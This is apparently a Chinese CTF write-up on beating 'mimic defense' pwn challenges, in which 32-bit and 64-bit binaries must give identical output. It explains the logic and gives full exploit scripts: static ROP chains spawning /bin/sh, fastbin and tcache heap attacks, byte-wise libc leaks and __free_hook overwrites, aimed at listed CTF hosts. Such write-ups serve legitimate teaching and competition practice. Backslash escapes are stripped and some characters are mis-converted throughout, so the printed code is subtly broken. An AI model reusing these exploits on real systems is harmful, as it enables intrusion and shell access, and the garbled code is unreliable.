安全圈 | 专注于最新网络信息安全讯息新闻

首页

擬態防禦型pwn題做題思路總結

作者 strmiska 时间 2020-02-29
all

前言

感謝前些天D^3CTF的lonely_server出題人,這題很有意思。第一次遇見擬態題是在强網杯,雖然只是簡單入門級別的棧溢出,但當時一臉懵逼,完全不瞭解擬態防禦機制。第二次就是D^3CTF的lonely_observer,陞級很多,uaf堆題,還需要用到libc,出題人還花很多心思讓程式能洩露libc而不報錯。總結一下我如何面對兩種不同的架構一步步寫出一個通用exp。

擬態防禦

類似於生物界的擬態防禦,在網路空間防禦領域,在目標對象給定服務功能和效能不變前提下,其內部架構、冗餘資源、運行機制、覈心算灋、异常表現等環境因素,以及可能附著其上的未知漏洞後門或木馬病毒等都可以做策略性的時空變化,從而對攻擊者呈現出“似是而非”的場景,以此擾亂攻擊鏈的構造和生效過程,使攻擊成功的代價倍增。

CMD在科技上以融合多種主動防禦要素為宗旨:以異構性、多樣或多元性改變目標系統的相似性、單一性;以動態性、隨機性改變目標系統的靜態性、確定性;以異構冗餘多模裁决機制識別和遮罩未知缺陷與未明威脅;以高可靠性架構增强目標系統服務功能的柔韌性或彈性;以系統的視在不確定内容防禦或拒止針對目標系統的不確定性威脅。

對CTF的pwn來說,題目的功能不變,但運行的環境架構不同(64比特和32比特),設立檢測輸出裁决機,保證輸入和輸出的資訊相同,並且兩端程式都要保持正常服務。這對需要洩露動態加載庫地址、堆地址、程式基址的方法是扼住咽喉的一個防禦管道,使得目標系統的安全性大幅度提升。而要突破這種防禦機制,也不是沒有辦法,可以採用逐位元組爆破、partial write等技巧不洩露資訊來getshell。

2019强網杯babymimic

_stkof 32比特程式

int vul() { char v1; // [esp+Ch] [ebp-10Ch] setbuf(stdin, 0); setbuf(stdout, 0); j_memset_ifunc(&v1, 0, 256); read(0, &v1, 0x300); return puts(&v1); }

_ _stkof 64比特程式

__int64 vul() { char buf; // [rsp+0h] [rbp-110h] setbuf(stdin, 0LL); setbuf(stdout, 0LL); j_memset_ifunc(&buf, 0LL, 256LL); read(0, &buf, 0x300uLL); return puts(&buf, &buf); }

都是非常簡單的棧溢出,靜態編譯,任何一個單獨程式直接用ropchain一把梭就搞定了,但因為加上了擬態防禦機制,事情才變得沒那麼簡單。

思路:

1、仔細觀察發現32比特和64比特溢出的偏移不一樣。32比特程式溢出偏移是0x110,而64比特程式溢出偏移是0x118。中間間隔的8個位元組就可以用來處理兩種架構的差异了。

2、首先先把一個題目做出來(比如先選擇做64比特的,先做哪種效率更高沒有進行更多實驗)。

payload構造如下:

3、在此基礎上加入32比特payload。因為溢出點正好是在rbp上的8個位元組,但又不能修改後面64比特的ropchain,囙此可以選擇調整棧到偏移,再將ropchain寫過去。這裡我選擇ret 0x10c,返回後將棧頂向下移0x10c位元組,然後把ropchain佈置在那裡跳過去。

payload構造如下:

exp

from pwn import * debug = 0 if debug: #context.log_level='debug' cn=process('./_stkof') #cn=process('./__stkof') else: #context.log_level='debug' cn = remote('49.4.51.149',25391) s = lambda data :cn.send(str(data)) sa = lambda delim,data :cn.sendafter(str(delim), str(data)) st = lambda delim,data :cn.sendthen(str(delim), str(data)) sl = lambda data :cn.sendline(str(data)) sla = lambda delim,data :cn.sendlineafter(str(delim), str(data)) r = lambda numb=4096 :cn.recv(numb) rl = lambda :cn.recvline() ru = lambda delims :cn.recvuntil(delims) irt = lambda :cn.interactive() uu32 = lambda data :u32(data.ljust(4, '')) uu64 = lambda data :u64(data.ljust(8, '')) p_rax=0x000000000043b97c from struct import pack # Padding goes here p = '' p += pack('<Q', 0x0000000000405895) # pop rsi ; ret p += pack('<Q', 0x00000000006a10e0) # @ .data p += pack('<Q', 0x000000000043b97c) # pop rax ; ret p += '/bin//sh' #p+='cat /flag' p += pack('<Q', 0x000000000046aea1) # mov qword ptr [rsi], rax ; ret p += pack('<Q', 0x0000000000405895) # pop rsi ; ret p += pack('<Q', 0x00000000006a10e8) # @ .data + 8 p += pack('<Q', 0x0000000000436ed0) # xor rax, rax ; ret p += pack('<Q', 0x000000000046aea1) # mov qword ptr [rsi], rax ; ret p += pack('<Q', 0x00000000004005f6) # pop rdi ; ret p += pack('<Q', 0x00000000006a10e0) # @ .data p += pack('<Q', 0x0000000000405895) # pop rsi ; ret p += pack('<Q', 0x00000000006a10e8) # @ .data + 8 p += pack('<Q', 0x000000000043b9d5) # pop rdx ; ret p += pack('<Q', 0x00000000006a10e8) # @ .data + 8 p += pack('<Q', 0x0000000000436ed0) # xor rax, rax ; ret p += pack('<Q', 0x000000000043b97c) # pop rax ; ret p += p64(59) p += pack('<Q', 0x0000000000461645) # syscall ; ret pay64 = p p_eax=0x080a8af6 p = '' #p += pack('<I', 0x0806e9cb) # pop edx ; ret p += pack('<I', 0x080d9060) # @ .data p += pack('<I', 0x080a8af6) # pop eax ; ret p += '/bin' p += pack('<I', 0x08056a85) # mov dword ptr [edx], eax ; ret p += pack('<I', 0x0806e9cb) # pop edx ; ret p += pack('<I', 0x080d9064) # @ .data + 4 p += pack('<I', 0x080a8af6) # pop eax ; ret p += '//sh' p += pack('<I', 0x08056a85) # mov dword ptr [edx], eax ; ret p += pack('<I', 0x0806e9cb) # pop edx ; ret p += pack('<I', 0x080d9068) # @ .data + 8 p += pack('<I', 0x08056040) # xor eax, eax ; ret p += pack('<I', 0x08056a85) # mov dword ptr [edx], eax ; ret p += pack('<I', 0x080481c9) # pop ebx ; ret p += pack('<I', 0x080d9060) # @ .data p += pack('<I', 0x0806e9f2) # pop ecx ; pop ebx ; ret p += pack('<I', 0x080d9068) # @ .data + 8 p += pack('<I', 0x080d9060) # padding without overwrite ebx p += pack('<I', 0x0806e9cb) # pop edx ; ret p += pack('<I', 0x080d9068) # @ .data + 8 p += pack('<I', p_eax) #pop eax 11 p += p32(11) p += pack('<I', 0x080495a3) # int 0x80 pay32=p padding='a'*0x110 pay = padding pay+= p32(0x8099bbe) # ret 0x10c pay+= p32(0x0806e9cb) # pop edx;ret pay+= pay64 pay+= 'a'*(0x10c-len(pay64)) pay+= pay32 s(pay) irt()

D^3CTF lonely_observer

這題比上一題要難得多,主要有兩個原因:一是從棧溢出陞級到堆溢出;二是從靜態編譯程式到動態連結程式,需要用到libc。其中第二點是考察的難點。

因為兩個程式的功能相同,所以只分析一個程式就能掌握邏輯。按照習慣,我還是先攻擊64比特程式。

漏洞點

__int64 dele() { int v1; // [rsp+Ch] [rbp-4h] puts("index?"); puts(">>"); v1 = getint(); if ( list[v1] ) { free(*(void **)(list[v1] + 8)); ......

程式提供add、dele、show、edit各種介面,應有盡有,在dele函數存在UAF漏洞。入門堆題,但加上擬態防禦後,問題變得複雜起來了。

因為64比特和32比特程式的libc不可能相同,所以不能直接洩露libc地址。看官方writeup後知道可以通過read_n函數的逐位元組輸入的特性,利用任意地址寫,逐位元組爆破出用函數地址偽造的size,間接得到libc。而兩個程式libc的不同肯定會導致逐位元組輸入的次數不同,出題人很友善地在getint函數裏使用了scanf和getchar提供兩次輸入時間差的輸入緩衝。也即在一個程式提前爆破出size後,將接下來的輸入放入緩衝區中,等待另一個程式爆破完成,保持同步。

64比特逐位元組爆破libc

任意地址寫

很簡單,釋放兩個chunk後,partial write改fd最後一個位元組,fastbin attack分配到第一個chunk,從而可以改寫list[0].size和list[0].ptr。

stderr64 = 0x602040 stderr32 = 0x804B020 lst64 = 0x602060 lst32 = 0x804B060 useless_32 = 0x804B124 useless_64 = 0x6021e0 add(0,1,'a') add(1,1,'a') add(2,1,'a') free(0) free(1) edit(1,'x00')#partial write add(3,0x10,p64(0x1000)+p64(lst64+0x20))#size+ptr 64

將其指向bss段上的list數組,實現任意地址寫。

爆破libc

控制了list數組後,就可以將size的位置設定為bss段上保留的stderr函數指針中某一個位元組,將高位清零後,將&size+8偏移的位置寫上一個可寫的地址用來接收一個個的位元組。

大致payload如下:

pay = 'a'*0x20#padding pay+= p64(stderr64-i+4)+p64(0x6020b0)+p64(0xf)+p64(stderr64-i+4+1)+'n' sl(4) sla('index?',0) sa('content:',pay) edit(index1,'x00'*7+p64(useless_64))#9 sla('>>',4) sla('index?',index2)#8 ru('content:')

這裡先保留index1和index2,然後根據64比特payload,可以發現這裡需要在list數組上佔用0x20個位元組,那麼32比特的payload估計需要0x10個位元組,還需要考慮list數組上原有的chunk最好不要動,所以總共要佔用0x50個位元組。囙此在調試64比特程式時,可以先將paylaod寫在list+0x30的位置,後面可能需要調整。然後為了提高容錯率和整體結構的美觀,給32比特的payload預留0x20個位元組,最終設定index1=9,index2=8。

佈置好指針後開始爆破size。

for j in range(0xff): s('a') if 'done!' in ctx.recvrepeat(0.1): libc64 |= (j+1) libc64<<=8 print(hex(libc64)) sl('a'*(0x100-j))#为了实现同步 break

一個位元組一個位元組的輸入,直到輸入的位元組數等於size後,迴圈就會停止,輸出done!

sl(‘a’*(0x100-j))這步很關鍵,當一個程式退出迴圈後來到scanf,但同時另一個程式可能還沒有完成爆破,仍然在read_n函數中迴圈讀入數據。如果此時就開始下一輪的爆破,就會產生不一樣的輸出,導致check down,栽到擬態防禦下。所以,必須要利用scanf將多餘的數據放入緩衝區中,等待另一個程式爆破完成輸出done!來到新一輪爆破的相同的起跑線。

得到libc後,接下去的工作與上面的就類似了,同樣利用任意寫覆蓋_free_hook就好了,這裡不贅述。

32比特程式在64比特payload逐位元組爆破libc

任意地址寫

這個時候就需要在已寫好的64比特payload的基礎上進行修改,來保證32比特的payload不影響64比特的攻擊。首先看看此時64比特的攻擊在32比特程式中會形成什麼效果。

在fastbin attack形成任意地址後,fastbin上還殘留一個chunk0,此時只需要再free一個chunk,再用一次fastbin attack就能將分配到chunk0,達到任意地址寫,並且剛好能達到與64比特程式一致,即通過edit(0)來控制list數組。使得兩種情况的任意寫操作上是相同的。

另外還要注意不能干擾64比特的任意寫,如上圖此時64比特的fastbin是被破壞的,如果free了一個chunk後malloc兩次會報錯,所以在free了chunk2後,需要將其fd寫為0,恢復fastbin鏈表。

囙此在64比特fastbin attack後面加上32比特的fastbin attack的攻擊代碼如下:

free(2) edit(2,'x00') add(6,8,p32(0x1000)+p32(lst32+0x20))

64比特payload爆破libc

首先會進入64比特程式爆破libc的迴圈,囙此32比特程式要保證在這個過程中不會影響到64比特程式的正常攻擊。同時還要確保在32比特程式裏這段攻擊過程不會使得程式崩潰,雖然不要求這過程對32比特程式有意義,但要求其操作有效。

這個時候補充32比特的payload時儘量不要改動64為payload的操作和索引值,除非不可能達到一致性,否則就想辦法在64比特payload的填充位元組中補充。

首先回顧一下64比特payload進行什麼操作:先通過edit(0)往list上佈置payload,然後edit(9,0xf),最後edit(8,1)。具體什麼操作在32比特程式中不需要關心,只需要關心調用edit函數、索引值和輸入的長度。那麼就需要在list[9]佈置好size=0xf,ptr為一個可寫地址,在list[8]佈置size至少為1,ptr為一個可寫地址。

幸好之前給32比特的payload預留了0x20個位元組,足够佈置以上的數據。這時就將那段padding換成32比特payload。

pay = p32(lst32+0x30) + p32(lst32+0x28) + p32(0xf) + p32(useless_32) pay+= p32(1) + p32(useless_32) pay = pay.ljust(0x20,'x00') pay+= p64(stderr64-i+4)+p64(0x6020b0)+p64(0xf)+p64(stderr64-i+4+1)+'n' sl(4) sla('index?',0) sa('content:',pay)

如此可以形成對索引值同樣為8(9)的chunk進行edit時,找到偏移不同的指針,從而保證操作有效,並且還能使得64比特程式攻擊成功。這裡是我認為擬態防禦題最為巧妙、最有趣的地方。

32比特逐位元組爆破libc

這裡的操作跟64比特的迴圈爆破類似,只需要將64比特payload的操作換成無意義的,將32比特payload操作換成爆破stderr函數指針即可。這時32比特程式翻身當主人,64比特payload只能聽從安排。

#32-libc libc32 = 0xf700 for i in range(2): pay = p32(stderr32-i+2) + p32(lst32+0x28) + p32(0x7) + p32(stderr32-i+2+1) pay = pay.ljust(0x20,'x00') pay+= p64(0x6020c0)+p64(0x6020b0)+p64(0x7)+p64(useless_64) pay+= p64(1)+p64(useless_64)+'n' sl(4) sla('index?',0) sa('content:',pay) edit(9,'x00'*3+p32(useless_32)) sla('>>',4) sla('index?',8) ru('content:') for j in range(0xff): s('a') if 'done!' in ctx.recvrepeat(0.1): libc32 |= (j+1) libc32<<=8 print(hex(libc32)) sl('a'*(0x100-j)) break

到此64比特libc和32比特libc都洩露出來了,如果能理解上述通過精心構造payload,繞過擬態防禦機制實現任意寫,那麼接下去的改寫free_hook的操作就更簡單了,用到的方法幾乎相同。

寫_ _free_hook為system

之前爆破libc需要分別構造兩種情况的payload來攻擊,任意寫_ free_hook可以簡化一下payload,使得分別edit(8)和edit(9)時篡改32比特的free_hook和64比特的_free_hook。

sl(4) sla('>>',0) pay = p32(lst32+0x28) + p32(lst32+0x30) + p32(0x4) + p32(fh32) pay+= p32(8)+p32(useless_32) pay = pay.ljust(0x20,'x00') pay+= p64(0x6020b0)+p64(0x6020c0)+p64(0x4)+p64(useless_64) pay+= p64(8)+p64(fh64)+'n' s(pay) edit(8,p32(sys32)) edit(9,p64(sys64))

在edit(8)時,32比特程式改寫4位元組_ free_hook,64比特程式往useless_64寫4位元組無意義的數據;而在edit(9)時,32比特程式往useless_32寫8位元組無意義的數據,64比特程式改寫8位元組_free_hook。注意要將寫入的數據長度保持一致。

然後用同樣的方法佈置/bin/sh即可。

前面的調試工作都是在單獨測試32比特或64比特程式中進行的,即使能分別getshell也不代表最終的getshell,因為這過程無法測試出輸出是否相同。還需要用給的lonely_observer服務端程式對兩個程式同時測試,如果程式崩潰說明存在輸出的資訊不同,原因可能是兩個服務不同步(如缺少sl(‘a’*(0x100-j)))

exp

#-*- coding:utf-8 -*- from PwnContext import * # functions for quick script s = lambda data :ctx.send(str(data)) sa = lambda delim,data :ctx.sendafter(str(delim), str(data)) sl = lambda data :ctx.sendline(str(data)) sla = lambda delim,data :ctx.sendlineafter(str(delim), str(data)) r = lambda numb=4096 :ctx.recv(numb) ru = lambda delims, drop=True :ctx.recvuntil(delims, drop) irt = lambda :ctx.interactive() rs = lambda *args, **kwargs :ctx.start(*args, **kwargs) dbg = lambda gs='', **kwargs :ctx.debug(gdbscript=gs, **kwargs) uu32 = lambda data :u32(data.ljust(4, '')) uu64 = lambda data :u64(data.ljust(8, '')) debugg = 1 logg = 0 v = 2 if v==1: ctx.binary = './mimic64' elif v==0: ctx.binary = './mimic32' else: ctx.binary = './lonely_observer' ctx.symbols = {'lst32':0x804B060,'lst64':0x602060} ctx.breakpoints = [0x8048845] lib64 = ELF('../libc-2.23.so',checksec=False) lib32 = ELF('/lib/i386-linux-gnu/libc-2.23.so',checksec=False) if debugg: rs() else: ctx.remote = ('node3.buuoj.cn', 29360) rs('remote') if logg: context.log_level='debug' def add(idx,sz,c): sla('>>',1) sla('>>',idx) sla('>>',sz) sa('content:',c) def free(idx): sla('>>',2) sla('>>',idx) def edit(idx,c): sla('>>',4) sla('>>',idx) sa('content:',c) def show(idx): sla('>>',3) sla('>>',idx) stderr64 = 0x602040 stderr32 = 0x804B020 lst64 = 0x602060 lst32 = 0x804B060 useless_32 = 0x804B124 useless_64 = 0x6021e0 add(0,1,'a') add(1,1,'a') add(2,1,'a') free(0) free(1) edit(1,'x00') add(3,0x10,p64(0x1000)+p64(lst64+0x20))#size ptr 64 free(2) edit(2,'x00') add(6,8,p32(0x1000)+p32(lst32+0x20)) #64-libc libc64 = 0x7f00 for i in range(4): pay = p32(lst32+0x30) + p32(lst32+0x28) + p32(0xf) + p32(useless_32) pay+= p32(1) + p32(useless_32) pay = pay.ljust(0x20,'x00') pay+= p64(stderr64-i+4)+p64(0x6020b0)+p64(0xf)+p64(stderr64-i+4+1)+'n' sl(4) sla('index?',0) sa('content:',pay) edit(9,'x00'*7+p64(useless_64)) sla('>>',4) sla('index?',8) ru('content:') for j in range(0xff): s('a') if 'done!' in ctx.recvrepeat(0.1): libc64 |= (j+1) libc64<<=8 print(hex(libc64)) sl('a'*(0x100-j)) break libc64|=0x40 libc64-=0x3c5540 success(hex(libc64)) fh64 = lib64.sym['__free_hook']+libc64 sys64 = lib64.sym['system']+libc64 #32-libc libc32 = 0xf700 for i in range(2): pay = p32(stderr32-i+2) + p32(lst32+0x28) + p32(0x7) + p32(stderr32-i+2+1) pay = pay.ljust(0x20,'x00') pay+= p64(0x6020c0)+p64(0x6020b0)+p64(0x7)+p64(useless_64) pay+= p64(1)+p64(useless_64)+'n' sl(4) sla('index?',0) sa('content:',pay) edit(9,'x00'*3+p32(useless_32)) sla('>>',4) sla('index?',8) ru('content:') for j in range(0xff): s('a') if 'done!' in ctx.recvrepeat(0.1): libc32 |= (j+1) libc32<<=8 print(hex(libc32)) sl('a'*(0x100-j)) break libc32|=0xc0 libc32-=0x1b2cc0 success(hex(libc32)) fh32 = lib32.sym['__free_hook']+libc32 sys32 = lib32.sym['system']+libc32 sl(4) sla('>>',0) pay = p32(lst32+0x28) + p32(lst32+0x30) + p32(0x4) + p32(fh32) pay+= p32(8)+p32(useless_32) pay = pay.ljust(0x20,'x00') pay+= p64(0x6020b0)+p64(0x6020c0)+p64(0x4)+p64(useless_64) pay+= p64(8)+p64(fh64)+'n' s(pay) edit(8,p32(sys32)) edit(9,p64(sys64)) sl(4) sla('>>',0) pay = p32(lst32+0x28) + 'a'*4 + p32(0x4) + p32(lst32+0x30) pay+= '/bin/shx00' pay = pay.ljust(0x20,'x00') pay+= p64(0x6020b0)+'a'*8+p64(0x4)+p64(0x6020c0) pay+= '/bin/shx00'+'n' s(pay) free(8) irt()

D^3CTF lonely_observer(libc-2.27版本)

如果將服務運行在libc-2.27的環境中,一開始我還想將fastbin attack改為tcache attack直接攻擊bss段來簡化exp,可是調試發現因為兩個程式的bss段不同,直接改fd會導致分配不過去從而導致程式崩潰,還是要老老實實地先改寫heap上的ptr來任意寫。

exp

#-*- coding:utf-8 -*- from PwnContext import * # functions for quick script s = lambda data :ctx.send(str(data)) sa = lambda delim,data :ctx.sendafter(str(delim), str(data)) sl = lambda data :ctx.sendline(str(data)) sla = lambda delim,data :ctx.sendlineafter(str(delim), str(data)) r = lambda numb=4096 :ctx.recv(numb) ru = lambda delims, drop=True :ctx.recvuntil(delims, drop) irt = lambda :ctx.interactive() rs = lambda *args, **kwargs :ctx.start(*args, **kwargs) dbg = lambda gs='', **kwargs :ctx.debug(gdbscript=gs, **kwargs) uu32 = lambda data :u32(data.ljust(4, '')) uu64 = lambda data :u64(data.ljust(8, '')) debugg = 1 logg = 0 v = 2 if v==1: ctx.binary = './mimic64' ctx.breakpoints = [0x400A8E] elif v==0: ctx.binary = './mimic32' ctx.breakpoints = [0x8048845] else: ctx.binary = './lonely_observer' ctx.symbols = {'lst32':0x804B060,'lst64':0x602060} lib64 = ELF('./libc-2.27.so') lib32 = ELF('/lib/i386-linux-gnu/libc-2.27.so') if debugg: rs() else: ctx.remote = ('node3.buuoj.cn', 29189) rs('remote') if logg: context.log_level='debug' def add(idx,sz,c): sla('>>',1) sla('>>',idx) sla('>>',sz) sa('content:',c) def free(idx): sla('>>',2) sla('>>',idx) def edit(idx,c): sla('>>',4) sla('>>',idx) sa('content:',c) def show(idx): sla('>>',3) sla('>>',idx) stderr64 = 0x602040 stderr32 = 0x804B020 lst64 = 0x602060 lst32 = 0x804B060 useless_32 = 0x804B124 useless_64 = 0x6021e0 add(0,1,'a') add(1,1,'a') add(2,1,'a') #tcache attack free(0) free(1) edit(1,'x60')#0 add(3,0x10,p64(0x1000)+p64(lst64+0x20))#size ptr 64 free(1) free(2) edit(2,'x60')#0 add(6,0x8,p32(0x1000)+p32(lst32+0x20)) #64-libc libc64 = 0x7f00 for i in range(4): pay = p32(lst32+0x30) + p32(lst32+0x28) + p32(0xf) + p32(useless_32) pay+= p32(1) + p32(useless_32) pay = pay.ljust(0x20,'x00') pay+= p64(stderr64-i+4)+p64(0x6020b0)+p64(0xf)+p64(stderr64-i+4+1)+'n' sl(4) sla('index?',0) sa('content:',pay) edit(9,'x00'*7+p64(useless_64)) sla('>>',4) sla('index?',8) ru('content:') for j in range(0x100): s('a') if 'done!' in ctx.recvrepeat(0.1): libc64 |= (j+1) libc64<<=8 print(hex(libc64)) sl('a'*(0x100-j)) break if j == 0xff: print('Bomb error') exit(-1) libc64|=0x80 libc64-=0x3ec680 success(hex(libc64)) fh64 = lib64.sym['__free_hook']+libc64 sys64 = lib64.sym['system']+libc64 #32-libc libc32 = 0xf700 for i in range(2): pay = p32(stderr32-i+2) + p32(lst32+0x28) + p32(0x7) + p32(stderr32-i+2+1) pay = pay.ljust(0x20,'x00') pay+= p64(0x6020c0)+p64(0x6020b0)+p64(0x7)+p64(useless_64) pay+= p64(1)+p64(useless_64)+'n' sl(4) sla('index?',0) sa('content:',pay) edit(9,'x00'*3+p32(useless_32)) sla('>>',4) sla('index?',8) ru('content:') for j in range(0x100): s('a') if 'done!' in ctx.recvrepeat(0.1): libc32 |= (j+1) libc32<<=8 print(hex(libc32)) sl('a'*(0x100-j)) break if j == 0xff: print('Bomb error') exit(-1) libc32|=0xe0 libc32-=0x1d8ce0 success(hex(libc32)) fh32 = lib32.sym['__free_hook']+libc32 sys32 = lib32.sym['system']+libc32 sl(4) sla('>>',0) pay = p32(lst32+0x28) + p32(lst32+0x30) + p32(0x4) + p32(fh32) pay+= p32(8)+p32(useless_32) pay = pay.ljust(0x20,'x00') pay+= p64(0x6020b0)+p64(0x6020c0)+p64(0x4)+p64(useless_64) pay+= p64(8)+p64(fh64)+'n' s(pay) edit(8,p32(sys32)) edit(9,p64(sys64)) sl(4) sla('>>',0) pay = p32(lst32+0x28) + 'a'*4 + p32(0x4) + p32(lst32+0x30) pay+= '/bin/shx00' pay = pay.ljust(0x20,'x00') pay+= p64(0x6020b0)+'a'*8+p64(0x4)+p64(0x6020c0) pay+= '/bin/shx00'+'n' s(pay) free(8) irt()

總結

私以為擬態防禦將“求同存异”的思想運用到了網路安全建設中,秒哉!而在攻擊時可以參考一個總思路——相同的操作,不同的偏移。就是要充分發揮64比特環境和32比特環境字長的差异,在構造payload的時候,利用偏移到不同的地址,構造兩次相似的攻擊過程,同時每次的攻擊過程在另一種環境下是徒勞的,但不能無效。